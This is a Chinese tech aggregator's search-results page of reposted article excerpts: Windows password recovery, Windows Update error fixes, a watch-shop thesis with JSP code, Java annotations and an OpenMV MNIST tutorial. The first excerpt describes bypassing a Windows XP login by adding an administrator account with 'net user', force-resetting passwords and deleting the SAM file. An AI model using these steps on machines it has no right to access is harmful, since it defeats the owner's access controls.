前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[识别并修正SQL查询语法错误 ]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...nhkg888,命令语法如下: net user alanhkg888/add 4.将新增用户提升至Administrator的权力,例:提升刚才增 加用户alanhkg888的权力,命令语法如下 net localgroup administrators alanhkg888/add 5.完成上列步骤后重新启动计算机,在 启动画面上便增加了一个用户alanhkg888了,选alanhkg888进入www.shanpow.com_删除Download和DataStore文件夹中的所有文件。 6.登入后在控制台→使用者账户→选忘记密码的用户,然后选移除密码 7.在登入画面中选原来的用户便可不需密码情况下等入(因已移除了) 8.删除刚才新增的用户:在控制台→使用者账户→选alanhkg888,然后选移除账户便可 方法3 1、重新启动Windows XP,在启动画面出现后的瞬间按F8,选择带命令行的安全模 式运行。 2、运行过程停止时,系统列出了超级用户administrator和本地用户owner的选择菜单, 点击administrator,进入命令行模式。 3、键入命令:net user owner 123456/add,强制性将owner用户的口令更改为123456。 若想在此添加某一用户:用户名为abcdef,口令为123456的话,请输入net user abcdef 123456/add,添加后可用net localgroup administrators abcdef/add命令将用户提升为 系统管理组administrators用户,具有超级权限。 4.DOS下删windows\system32\config里面的SAM档就可以了 5.开机后按键盘的Delete键进入BIOS界面。找到User Password选项,其默认为关闭状 态。启动并输入用户密码(1~8位英文或数字)。计算机提示请再输入一遍以确认密码无误, 保存退出后重新启动机器,这时就会在开机时出现密码菜单 方法4我们知道在安装Windows XP过程中,首先是以administrator默认登录,然后会要 求创建一个新账户,以便进入Windows XP时使用此新建账户登录,而且在Windows XP的 登录接口中也只会出现创建的这个用户账号,不会出现administrator,但实际上该 administrator账号还是存在的,且密码为空。 【二】:Windows 7实战经验 Windows 7实战经验:完美解决Windows 7更新失败(Windows Update 错误 80070003) 很多用户反映,为什么Windows 7的自动更新会出显未知错误,导致很多更新都不能正确安装?针对这个问题,在我对自己的Windows 7进行更新的时候,有时也会发生类似的问题,经过研究,已经完美解决,下面给大家解决方案! 如果在检查更新时收到Windows Update错误80070003,则需要删除Windows用于标识计算机更新的临时文件。若要删除临时文件,请停止Windows Update服务,删除临时更新文件,重新启动Windows Update服务,然后再次尝试检查Windows更新。 以下步骤为解决Windows 7更新错误方法,本博客亲测有效。 必须以管理员身份进行登录,才能执行这些步骤。 1.单击打开“管理工具(通过单击“开始”按钮,再依次单击“控制面板”,然后单击“管理工具”。 2.双击“服务”。如果系统提示您输入管理员密码或进行确认,请键入该密码或提供确认。 3.单击“名称”列标题以逆序排列名称。找到“Windows Update”服务,右键单击该服务,然后单击“停止”。 1.打开“计算机”。 2.双击安装Windows的本地硬盘(通常是驱动器C)。 3.双击Windows文件夹,然后双击SoftwareDistribution文件夹。 4.双击打开DataStore文件夹,然后删除该文件夹中的所有文件。如果系统提示您输入管理员密码或进行确认,请键入该密码或提供确认。 5.单击“后退”按钮。在SoftwareDistribution文件夹中,双击打开Download文件夹,删除该文件夹中的所有文件,然后关闭窗口。如果系统提示您输入管理员密码或进行确认,请键入该密码或提供确认。 必须以管理员身份进行登录,才能执行这些步骤。 1.单击打开“管理工具(方法同上)”。 2.双击“服务”。如果系统提示您输入管理员密码或进行确认,请键入该密码或提供确认。 3.单击“名称”列标题以逆序排列名称。找到“Windows Update”服务,右键单击该服务,然后单击“启动”。 4.关闭“服务”窗口和“管理工具”窗口。 完成上面操作,你需要重新更新看看可以成功更新了吗,一般因为我们删除了自动更新的一些文件,如果你仔细观察的话,那些文件大小并不是很小,所以我们再更新的时候等待的时间可能会长一些! 【三】:Win10系统提示“无法完成更新正在撤销更改” 更新win10系统补丁之后,系统会提示“window10无法更新,正在撤销”,需要重启好几次,这该怎么办呢?下面小编就向大家介绍一下windows10系统无法完成更新正在撤销更改的解决方法,欢迎大家参考和学习。 系统更新失败,反复重启还是不行,那是不是下载下来的补丁没用了呢??所以我们先要删除Windows更新的缓存文件!在做以下操作之前,首先我们要确认系统内的windows update & BITS服务设置是否开启。 检查方法: 1、按“Win+R”组合键打开运行,输入“services.msc”,点击确定(如果弹出用户账户控制窗口,我们点击“继续”)。 2、双击打开“Background Intelligent Transfer Services”服务。 3、在选项卡点击“常规”,要保证“启动类型”是“自动”或者“手动”。然后点击“服务状态”“启用”按钮。 4. 重复步骤3分别对“Windows Installer”,“Cryptographic Services”, “software licensing service” 以及“Windows Update”这四项服务进行检查。 解决办法: 1、按“Windows+X”打开“命令提示符(管理员)”。 2、输入“net stop wuauserv”回车(我们先把更新服务停止)。 3、输入”%windir%\SoftwareDistribution“回车(删除Download和DataStore文件夹中的所有文件)。 4、最后输入“net start wuauserv”回车(重新开启系统更新服务)。 完成以上的步骤之后,我们就可以在“Windows Update”中再次尝试检查更新即可。 以上就是windows10系统无法完成更新正在撤销更改的解决方法介绍了。遇到同样问题的用户,可以尝试一下这个方法,如果不行,可以留言,小编会继续寻找其他的解决办法。 【四】:Windows更新失败提示错误码80070003怎么办 Windows7,Windows8.1,Windows10在更新过程中,所更新的程序无法安装,导致更新失败,提示错误码80070003。遇到这种情况,无论再试一次,或重启电脑,更新程序仍无法安装,出现错误码80070003提示。关于这个故障,下面小编就为大家介绍一下具体的解决方法吧,欢迎大家参考和学习。 具体解决方法步骤: 1、在电脑更新过程中,更新失败,程序无法安装,出现错误码80070003的提示。如图1 2、打开控制面板,点击“系统和安全”,打开对话框。如图2 3、在打开的对话框中,点击“管理工具”-双击“服务”,在打开的对话框的下方找到“Windows Update"。(如图3),选择Windows Update,点击界面左上角的”停止“按键,或是单击右键选择”停止“。(如图4),以管理员身份进入,如果提示需要输入秘码,则输入秘码。 4、在C盘,打开”Windows"文件夹,-双击打开“SoftwareDistribution"文件夹,找到下面的2个文件夹。打开”DataStore"文件夹,删除里面所有的文件。反回上一步。如图5.1,再打开"Download"文件夹,删除里面所有的文件。(如图5.2) 5、返回第三步的操作,选择Windows Update,右键单击,选择“启动”。 6、做完上面操作后,安装更新文件就会顺利了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_42620202/article/details/119158423。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-16 16:18:33
137
转载
转载文章
...基于B/S结构,MYSQL数据库,主要包括前端应用程序的开发以及后台数据库的建立和维护两个方面。对于应用程序的开发要求具备功能要完备、使用应简单等特点,而对于数据库的建立和维护则要求建立一个数据完整性强、数据安全性好、数据稳定性高的库。腕表交易系统的开发技术具有很高可行性,且开发人员掌握了一定的开发技术,所以系统的开发具有可行性。 3.1.2 操作可行性 腕表交易系统的登录界面简单易于操作,采用常见的界面窗口来登录界面,通过电脑进行访问操作,会员只要平时使用过电脑都能进行访问操作。此系统的开发采用PHP语言开发,基于B/S结构,这些开发环境使系统更加完善。本系统具有易操作、易管理、交互性好的特点,在操作上是非常简单的。因此本系统可以进行开发。 3.1.3 经济可行性 腕表交易系统是基于B/S模式,采用MYSQL数据库储存数据,所要求的硬件和软件环境,市场上都很容易购买,程序开发主要是管理系统的开发和维护。所以程序在开发人力、财力上要求不高,而且此系统不是很复杂,开发周期短,在经济方面具有较高的可行性。 3.1.4 法律可行性 此腕表交易系统是自己设计的管理系统,具有很大的实际意义。开发环境软件和使用的数据库都是开源代码,因此对这个系统进行开发与普通的系统软件设计存在很大不同,没有侵权等问题,在法律上完全具有可行性。 综上所述,腕表交易系统在技术、经济、操作和法律上都具有很高的可行性,开发此程序是很必要的。 3.2 腕表交易系统功能需求分析 此基于SSM的腕表交易系统分前台功能和后台功能: 1)前台部分由用户使用,主要包括用户注册,腕表购物车管理,订单管理,个人资料管理,留言板管理 2)后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理 3.3 数据库需求分析 数据库的设计通常是以一个已经存在的数据库管理系统为基础的,常用的数据库管理系统有MYSQL,SQL,Oracle等。我采用了Mysql数据库管理系统,建立的数据库名为db_business。 整个系统功能需要以下数据项: 用户:用户id、用户名称、登录密码、用户真实姓名、性别、邮箱地址、联系地址、联系电话、密码问题、答案、注册时间。 留言:主题id、作者姓名、Email、主题名称、留言内容、发布时间。 商品:商品id、名称、价格、图片路径、类型、简要介绍、存储地址、上传人姓名、发布时间、是否推荐。 订单:订单号、用户名、真实姓名、订购日期、Email、地址、邮编、付款方式、联系方式、运送方式、订单核对、其他。 管理员:管理员id、管理员名称、管理员密码。 公告:公告内容、公告时间。 4系统设计 4.1 系统功能模块设计 功能结构图如下: 图9 功能模块设计图 从图中可以看出,网上腕表交易系统可以分为前台和后台两个部分,前台部分由用户使用,主要包括用户注册,生成订单,腕表购物车管理,查看腕表购物车,查看留言,订购产品,订单查询和发布留言7个模块;本文转载自http://www.biyezuopin.vip/onews.asp?id=11975后台部分由管理员使用,主要包括管理员身份验证,商品管理,处理订单,用户信息管理,连接信息管理5个模块。 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><base href="<%=basePath%>"/><title>腕表商城</title><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"><meta http-equiv="description" content="This is my page"><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Favicon --><link rel="shortcut icon" type="image/x-icon" href="img/favicon.png"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/font-awesome.min.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/bootstrap.css" /><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/style.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/magnific-popup.css"><link rel="stylesheet" type="text/css" href="<%=basePath%>home/css/owl.carousel.css"><script type="text/javascript">function getprofenlei(){ var html = ""; $.ajax({url: "leixing.action?list&page=0&rows=30",type: "POST",async: false, contentType: "application/x-www-form-urlencoded;charset=UTF-8",success: function (data) { $.each(data.rows, function (i, val) { html += ' <li ><a href="home/search.jsp?fenlei='+val.id+'" >'+val.a1+' </a></li>';})} }); $("fenlei").html(html);}function gettop1(){var html = "";$.ajax({url: "leixing.action?list&page=0&rows=10",type: "POST",async: false,success: function (data) {var total='';//<div class="tab-pane active" id="nArrivals">// <div class="nArrivals owl-carousel" id="top1">$.each(data.rows, function (i, valmm) { html+='<div class="nArrivals owl-carousel" id="'+valmm.id+'">';$.ajax({url: "shangpin.action?list&page=0&rows=10",type: "POST",async: false,data: { fenlei:valmm.id },success: function (data) { $.each(data.rows, function (i, val) { html+='<div class="product-grid">'+'<div class="item">'+' <div class="product-thumb">'+' <div class="image product-imageblock"> <a href="home/details.jsp?ids='+val.id+'"> <img data-name="product_image" style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> <img style="width:223px;height:285px;" src="<%=basePath%>'+val.tupian1+'" alt="iPod Classic" title="iPod Classic" class="img-responsive"> </a> </div>'+' <div class="caption product-detail text-left">'+' <h6 data-name="product_name" class="product-name mt_20"><a href="home/details.jsp?ids='+val.id+'" title="Casual Shirt With Ruffle Hem">'+val.biaoti+'</a></h6>'+' <div class="rating"> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-1x"></i></span> <span class="fa fa-stack"><i class="fa fa-star-o fa-stack-1x"></i><i class="fa fa-star fa-stack-x"></i></span> </div>'+'<span class="price"><span class="amount"><span class="currencySymbol">$</span>'+val.jiage+'</span>'+'</span>'+'<div class="button-group text-center">'+' <div class="wishlist"><a href="home/details.jsp?ids='+val.id+'"><span>wishlist</span></a></div>'+'<div class="quickview"><a href="home/details.jsp?ids='+val.id+'"><span>Quick View</span></a></div>'+'<div class="compare"><a href="home/details.jsp?ids='+val.id+'"><span>Compare</span></a></div>'+'<div class="add-to-cart"><a href="home/details.jsp?ids='+val.id+'"><span>Add to cart</span></a></div>'+'</div>'+'</div>'+'</div>'+'</div>'+' </div>'; })html+='</div>'; } })}) $("nArrivals").html(html); } }); 本篇文章为转载内容。原文链接:https://blog.csdn.net/newlw/article/details/127608579。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-21 18:24:50
67
转载
转载文章
... Java 源代码的语法元数据。类、方法、变量、参数、包都可以被注解,可用来将信息元数据与程序元素进行关联。目前很多开源库都使用到了注解,最熟悉的ButtonKnife中的@ViewInject(R.id.x)就可以替代findViewId,不懂这一块技术的同学第一眼看上去肯定会一脸懵逼,下面会手把手带大家写出ButtonKnife的注解使用。使用注解可以简化代码,提高开发效率。本文简单介绍下注解的使用,并对几个 Android 开源库的注解使用原理进行简析。 1、作用 标记,用于告诉编译器一些信息 ; 编译时动态处理,如动态生成代码 ; 运行时动态处理,如得到注解信息。 2、分类 标准 Annotation, 包括 Override, Deprecated, SuppressWarnings。也都是Java自带的几个 Annotation,上面三个分别表示重写函数,不鼓励使用(有更好方式、使用有风险或已不在维护),忽略某项 Warning; 元 Annotation ,@Retention, @Target, @Inherited, @Documented。元 Annotation 是指用来定义 Annotation 的 Annotation,在后面 Annotation 自定义部分会详细介绍含义; 自定义 Annotation , 表示自己根据需要定义的 Annotation,定义时需要用到上面的元 Annotation 这里只是一种分类而已,也可以根据作用域分为源码时、编译时、运行时 Annotation。通过 @interface 定义,注解名即为自定义注解名。 一、自定义注解 例如,注解@MethodInfo: @Documented@Retention(RetentionPolicy.RUNTIME)@Target(ElementType.METHOD)@Inheritedpublic @interface MethodInfo {String author() default "annotation@gmail.com";String date();int version() default 1;} 使用到了元Annotation: @Documented 是否会保存到 Javadoc 文档中 ; @Retention 保留时间,可选值 SOURCE(源码时),CLASS(编译时),RUNTIME(运行时),默认为 CLASS,值为 SOURCE 大都为 Mark Annotation,这类 Annotation 大都用来校验,比如 Override, Deprecated, SuppressWarnings ; @Target 用来指定修饰的元素,如 CONSTRUCTOR:用于描述构造器、FIELD:用于描述域、LOCAL_VARIABLE:用于描述局部变量、METHOD:用于描述方法、PACKAGE:用于描述包、PARAMETER:用于描述参数、TYPE:用于描述类、接口(包括注解类型) 或enum声明。 @Inherited 是否可以被继承,默认为 false。 注解的参数名为注解类的方法名,且: 所有方法没有方法体,没有参数没有修饰符,实际只允许 public & abstract 修饰符,默认为 public ,不允许抛异常; 方法返回值只能是基本类型,String, Class, annotation, enumeration 或者是他们的一维数组; 若只有一个默认属性,可直接用 value() 函数。一个属性都没有表示该 Annotation 为 Mark Annotation。 public class App {@MethodInfo(author = “annotation.cn+android@gmail.com”,date = "2011/01/11",version = 2)public String getAppName() {return "appname";} } 调用自定义MethodInfo 的示例,这里注解的作用实际是给方法添加相关信息: author、date、version 。 二、实战注解Butter Knife 首先,先定义一个ViewInject注解。 public @interface ViewInject { int value() default -1;} 紧接着,为刚自定义注解添加元注解。 @Target({ElementType.FIELD, ElementType.PARAMETER, ElementType.METHOD})@Retention(RetentionPolicy.RUNTIME)public @interface ViewInject {int value() default -1;} 再定义一个注解LayoutInject @Target(ElementType.TYPE)@Retention(RetentionPolicy.RUNTIME)public @interface LayoutInject {int value() default -1;} 定义一个基础的Activity。 package cn.wsy.myretrofit.annotation;import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.util.Log;import java.lang.reflect.Field;public class InjectActivity extends AppCompatActivity {private int mLayoutId = -1;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);displayInjectLayout();displayInjectView();}/ 解析注解view id/private void displayInjectView() {if (mLayoutId <=0){return ;}Class<?> clazz = this.getClass();Field[] fields = clazz.getDeclaredFields();//获得声明的成员变量for (Field field : fields) {//判断是否有注解try {if (field.getAnnotations() != null) {if (field.isAnnotationPresent(ViewInject.class)) {//如果属于这个注解//为这个控件设置属性field.setAccessible(true);//允许修改反射属性ViewInject inject = field.getAnnotation(ViewInject.class);field.set(this, this.findViewById(inject.value()));} }} catch (Exception e) {Log.e("wusy", "not found view id!");} }}/ 注解布局Layout id/private void displayInjectLayout() {Class<?> clazz = this.getClass();if (clazz.getAnnotations() != null){if (clazz.isAnnotationPresent(LayouyInject.class)){LayouyInject inject = clazz.getAnnotation(LayouyInject.class);mLayoutId = inject.value();setContentView(mLayoutId);} }} } 首先,这里是根据映射实现设置控件的注解,java中使用反射的机制效率性能并不高。这里只是举例子实现注解。ButterKnife官方申明不是通过反射机制,因此效率会高点。 package cn.wsy.myretrofit;import android.os.Bundle;import android.widget.TextView;import cn.wsy.myretrofit.annotation.InjectActivity;import cn.wsy.myretrofit.annotation.LayouyInject;import cn.wsy.myretrofit.annotation.ViewInject;@LayoutInject(R.layout.activity_main)public class MainActivity extends InjectActivity {@ViewInject(R.id.textview)private TextView textView;@ViewInject(R.id.textview1)private TextView textview1;@ViewInject(R.id.textview2)private TextView textview2;@ViewInject(R.id.textview3)private TextView textview3;@ViewInject(R.id.textview4)private TextView textview4;@ViewInject(R.id.textview5)private TextView textview5;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);//设置属性textView.setText("OK");textview1.setText("OK1");textview2.setText("OK2");textview3.setText("OK3");textview4.setText("OK4");textview5.setText("OK5");} } 上面直接继承InjectActivity即可,文章上面也有说过:LayouyInject为什么作用域是TYPE,首先在加载view的时候,肯定是优先加载布局啊,ButterKnife也不例外。因此选择作用域在描述类,并且存在运行时。 二、解析Annotation原理 1、运行时 Annotation 解析 (1) 运行时 Annotation 指 @Retention 为 RUNTIME 的 Annotation,可手动调用下面常用 API 解析 method.getAnnotation(AnnotationName.class);method.getAnnotations();method.isAnnotationPresent(AnnotationName.class); 其他 @Target 如 Field,Class 方法类似 。 getAnnotation(AnnotationName.class) 表示得到该 Target 某个 Annotation 的信息,一个 Target 可以被多个 Annotation 修饰; getAnnotations() 则表示得到该 Target 所有 Annotation ; isAnnotationPresent(AnnotationName.class) 表示该 Target 是否被某个 Annotation 修饰; (2) 解析示例如下: public static void main(String[] args) {try {Class cls = Class.forName("cn.trinea.java.test.annotation.App");for (Method method : cls.getMethods()) {MethodInfo methodInfo = method.getAnnotation(MethodInfo.class);if (methodInfo != null) {System.out.println("method name:" + method.getName());System.out.println("method author:" + methodInfo.author());System.out.println("method version:" + methodInfo.version());System.out.println("method date:" + methodInfo.date());} }} catch (ClassNotFoundException e) {e.printStackTrace();} } 以之前自定义的 MethodInfo 为例,利用 Target(这里是 Method)getAnnotation 函数得到 Annotation 信息,然后就可以调用 Annotation 的方法得到响应属性值 。 2、编译时 Annotation 解析 (1) 编译时 Annotation 指 @Retention 为 CLASS 的 Annotation,甴 apt(Annotation Processing Tool) 解析自动解析。 使用方法: 自定义类集成自 AbstractProcessor; 重写其中的 process 函数 这块很多同学不理解,实际是 apt(Annotation Processing Tool) 在编译时自动查找所有继承自 AbstractProcessor 的类,然后调用他们的 process 方法去处理。 (2) 假设之前自定义的 MethodInfo 的 @Retention 为 CLASS,解析示例如下: @SupportedAnnotationTypes({ "cn.trinea.java.test.annotation.MethodInfo" })public class MethodInfoProcessor extends AbstractProcessor {@Overridepublic boolean process(Set<? extends TypeElement> annotations, RoundEnvironment env) {HashMap<String, String> map = new HashMap<String, String>();for (TypeElement te : annotations) {for (Element element : env.getElementsAnnotatedWith(te)) {MethodInfo methodInfo = element.getAnnotation(MethodInfo.class);map.put(element.getEnclosingElement().toString(), methodInfo.author());} }return false;} } SupportedAnnotationTypes 表示这个 Processor 要处理的 Annotation 名字。 process 函数中参数 annotations 表示待处理的 Annotations,参数 env 表示当前或是之前的运行环境 process 函数返回值表示这组 annotations 是否被这个 Processor 接受,如果接受后续子的 rocessor 不会再对这个 Annotations 进行处理 三、几个 Android 开源库 Annotation 原理简析 1、Retrofit (1) 调用 @GET("/users/{username}")User getUser(@Path("username") String username); (2) 定义 @Documented@Target(METHOD)@Retention(RUNTIME)@RestMethod("GET")public @interface GET {String value();} 从定义可看出 Retrofit 的 Get Annotation 是运行时 Annotation,并且只能用于修饰 Method (3) 原理 private void parseMethodAnnotations() {for (Annotation methodAnnotation : method.getAnnotations()) {Class<? extends Annotation> annotationType = methodAnnotation.annotationType();RestMethod methodInfo = null;for (Annotation innerAnnotation : annotationType.getAnnotations()) {if (RestMethod.class == innerAnnotation.annotationType()) {methodInfo = (RestMethod) innerAnnotation;break;} }……} } RestMethodInfo.java 的 parseMethodAnnotations 方法如上,会检查每个方法的每个 Annotation, 看是否被 RestMethod 这个 Annotation 修饰的 Annotation 修饰,这个有点绕,就是是否被 GET、DELETE、POST、PUT、HEAD、PATCH 这些 Annotation 修饰,然后得到 Annotation 信息,在对接口进行动态代理时会掉用到这些 Annotation 信息从而完成调用。 因为 Retrofit 原理设计到动态代理,这里只介绍 Annotation。 2、Butter Knife (1) 调用 @InjectView(R.id.user) EditText username; (2) 定义 @Retention(CLASS) @Target(FIELD)public @interface InjectView {int value();} 可看出 Butter Knife 的 InjectView Annotation 是编译时 Annotation,并且只能用于修饰属性 (3) 原理 @Override public boolean process(Set<? extends TypeElement> elements, RoundEnvironment env) {Map<TypeElement, ViewInjector> targetClassMap = findAndParseTargets(env);for (Map.Entry<TypeElement, ViewInjector> entry : targetClassMap.entrySet()) {TypeElement typeElement = entry.getKey();ViewInjector viewInjector = entry.getValue();try {JavaFileObject jfo = filer.createSourceFile(viewInjector.getFqcn(), typeElement);Writer writer = jfo.openWriter();writer.write(viewInjector.brewJava());writer.flush();writer.close();} catch (IOException e) {error(typeElement, "Unable to write injector for type %s: %s", typeElement, e.getMessage());} }return true;} ButterKnifeProcessor.java 的 process 方法如上,编译时,在此方法中过滤 InjectView 这个 Annotation 到 targetClassMap 后,会根据 targetClassMap 中元素生成不同的 class 文件到最终的 APK 中,然后在运行时调用 ButterKnife.inject(x) 函数时会到之前编译时生成的类中去找。 3、ActiveAndroid (1) 调用 @Column(name = “Name") public String name; (2) 定义 @Target(ElementType.FIELD)@Retention(RetentionPolicy.RUNTIME)public @interface Column {……} 可看出 ActiveAndroid 的 Column Annotation 是运行时 Annotation,并且只能用于修饰属性 (3) 原理 Field idField = getIdField(type);mColumnNames.put(idField, mIdName);List<Field> fields = new LinkedList<Field>(ReflectionUtils.getDeclaredColumnFields(type));Collections.reverse(fields);for (Field field : fields) {if (field.isAnnotationPresent(Column.class)) {final Column columnAnnotation = field.getAnnotation(Column.class);String columnName = columnAnnotation.name();if (TextUtils.isEmpty(columnName)) {columnName = field.getName();}mColumnNames.put(field, columnName);} } TableInfo.java 的构造函数如上,运行时,得到所有行信息并存储起来用来构件表信息。 ———————————————————————— 最后一个问题,看看这段代码最后运行结果: public class Person {private int id;private String name;public Person(int id, String name) {this.id = id;this.name = name;}public boolean equals(Person person) {return person.id == id;}public int hashCode() {return id;}public static void main(String[] args) {Set<Person> set = new HashSet<Person>();for (int i = 0; i < 10; i++) {set.add(new Person(i, "Jim"));}System.out.println(set.size());} } 答案:示例代码运行结果应该是 10 而不是 1,这个示例代码程序实际想说明的是标记型注解 Override 的作用,为 equals 方法加上 Override 注解就知道 equals 方法的重载是错误的,参数不对。 本篇文章为转载内容。原文链接:https://blog.csdn.net/csdn_aiyang/article/details/81564408。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-28 22:30:35
105
转载
转载文章
...目录 前言 一、数字识别的模型训练 1.下载训练集 2.对数据进行调整 2.1 将ubyte格式转为jpg格式 2.2 将图片按照标签分类到具体文件夹 2.3 数据存在的缺陷 2.4 优化建议(核心) 二、模型训练 三、项目实现 1. 代码实现 2. 采用器件 2. 注意事项 总结 前言 第一次接触OpenMV也是第一次将理论用于实践,是老师让我实现的一个小测验,这几天完成后决定写下完整的过程。本文主要是当缝合怪,借鉴和参考了其他人的代码再根据我个人设备进行了一定的调整,此外还包括了我自身实践过程中的一些小意外。 !!!一定要根据个人器件型号和个人设备来参考 一、数字识别的模型训练 1.下载训练集 研究期间,我发现大部分人以及官网教程采用的都是自己拍摄照片再进行网络训练,存在的缺陷就是数据集较小不全面、操作繁琐。个人认为如果是对标准的数字进行识别,自己手动拍取照片进行识别足够了。但想要应用于更广泛的情况,应该寻找更大的数据集,所以我找到了国外手写数字的数据集MNIST。建议四个文件都下载 数据链接:MINIST数据集 2.对数据进行调整 2.1 将ubyte格式转为jpg格式 代码参考链接:python将ubyte格式的MNIST数据集转成jpg图片格式并保存 import numpy as npimport cv2import osimport structdef trans(image, label, save):image位置,label位置和转换后的数据保存位置if 'train' in os.path.basename(image):prefix = 'train'else:prefix = 'test'labelIndex = 0imageIndex = 0i = 0lbdata = open(label, 'rb').read()magic, nums = struct.unpack_from(">II", lbdata, labelIndex)labelIndex += struct.calcsize('>II')imgdata = open(image, "rb").read()magic, nums, numRows, numColumns = struct.unpack_from('>IIII', imgdata, imageIndex)imageIndex += struct.calcsize('>IIII')for i in range(nums):label = struct.unpack_from('>B', lbdata, labelIndex)[0]labelIndex += struct.calcsize('>B')im = struct.unpack_from('>784B', imgdata, imageIndex)imageIndex += struct.calcsize('>784B')im = np.array(im, dtype='uint8')img = im.reshape(28, 28)save_name = os.path.join(save, '{}_{}_{}.jpg'.format(prefix, i, label))cv2.imwrite(save_name, img)if __name__ == '__main__':需要更改的文件路径!!!!!!此处是原始数据集位置train_images = 'C:/Users/ASUS/Desktop/train-images.idx3.ubyte'train_labels = 'C:/Users/ASUS/Desktop/train-labels.idx1.ubyte'test_images ='C:/Users/ASUS/Desktop/t10k-images.idx3.ubyte'test_labels = 'C:/Users/ASUS/Desktop/t10k-labels.idx1.ubyte'此处是我们将转化后的数据集保存的位置save_train ='C:/Users/ASUS/Desktop/MNIST/train_images/'save_test ='C:/Users/ASUS/Desktop/MNIST/test_images/'if not os.path.exists(save_train):os.makedirs(save_train)if not os.path.exists(save_test):os.makedirs(save_test)trans(test_images, test_labels, save_test)trans(train_images, train_labels, save_train) 2.2 将图片按照标签分类到具体文件夹 文章参考链接:python实现根据文件名自动分类转移至不同的文件夹 注意:为了适合这个数据集和我的win11系统对代码进行了一点调整,由于数据很多如果只需要部分数据一定要将那些数据单独放在一个文件夹。 导入库import osimport shutil 当前文件夹所在的路径,使用时需要进行修改current_path = 'C:/Users/ASUS/Desktop/MNIST/test'print('当前文件夹为:' + current_path) 读取该路径下的文件filename_list = os.listdir(current_path) 建立文件夹并且进行转移 假设原图片名称 test_001_2.jpgfor filename in filename_list:name1, name2, name3 = filename.split('_') name1 = test name2 = 001 name3 = 2.jpgname4, name5 = name3.split('.') name4 = 2 name5 = jpgif name5 == 'jpg' or name5 == 'png':try:os.mkdir(current_path+'/'+name4)print('成功建立文件夹:'+name4)except:passtry:shutil.move(current_path+'/'+filename, current_path+'/'+name4[:])print(filename+'转移成功!')except Exception as e:print('文件 %s 转移失败' % filename)print('转移错误原因:' + e)print('整理完毕!') 2.3 数据存在的缺陷 数据集内的图片数量很多,由于后面介绍的云端训练的限制,只能采用部分数据(本人采用的是1000张,大家可以自行增减数目)。 数据集为国外的数据集,很多数字写的跟我们不一样。如果想要更好的适用于我们国内的场景,可以对数据集进行手动的筛选。下面是他们写的数字2: 可以看出跟我们的不一样,不过数据集中仍然存在跟常规书写的一样的,我们需要进行人为的筛选。 2.4 优化建议(核心) 分析发现,部分数字精度不高的原因主要是国外手写很随意,我们可以通过调整网络参数(如下)、人为筛选数据(如上)、增大数据集等方式进行优化。 二、模型训练 主要参考文章:通过云端自动生成openmv的神经网络模型,进行目标检测 !!!唯一不同的点是我图像参数设置的是灰度而不是上述文章的RGB。 下面是我模型训练时的参数设置(仅供参考): 通过混淆矩阵可以看出,主要的错误在于数字2、6、8。我们可以通过查看识别错误的数字来分析可能的原因。 三、项目实现 !!!我们需要先将上述步骤中导出文件中的所有内容复制粘贴带OpenMV中自带的U盘中。然后将其中的.py文件名称改为main 1. 代码实现 